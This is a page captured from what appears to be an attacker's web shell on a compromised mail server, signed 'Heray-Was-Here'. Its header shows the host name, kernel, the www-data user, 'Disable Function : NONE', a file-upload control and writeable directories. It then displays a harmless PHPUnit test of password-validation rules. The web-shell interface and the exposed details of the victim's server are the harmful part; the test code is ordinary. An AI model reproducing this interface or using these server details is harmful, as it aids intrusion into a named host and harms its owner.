Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/mailsvr/padmin/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mailsvr/padmin/tests/ValidatePasswordTest.php
<?php

class ValidatePasswordTest extends \PHPUnit\Framework\TestCase {
    public function testBasic() {
        $config = Config::getInstance();

        // Set to the defaults, just to make sure.
        Config::write('password_validation', array(
#    '/regular expression/' => '$PALANG key (optional: + parameter)',
            '/.{5}/' => 'password_too_short 5',      # minimum length 5 characters
            '/([a-zA-Z].*){3}/' => 'password_no_characters 3',  # must contain at least 3 characters
            '/([0-9].*){2}/' => 'password_no_digits 2',      # must contain at least 2 digits
        ));

        $this->assertEmpty(validate_password('fishSheep01'));
        $this->assertEmpty(validate_password('Password01'));
        $this->assertNotEmpty(validate_password('pas')); // notEmpty == fail
        $this->assertNotEmpty(validate_password('pa1'));
    }
}

Hry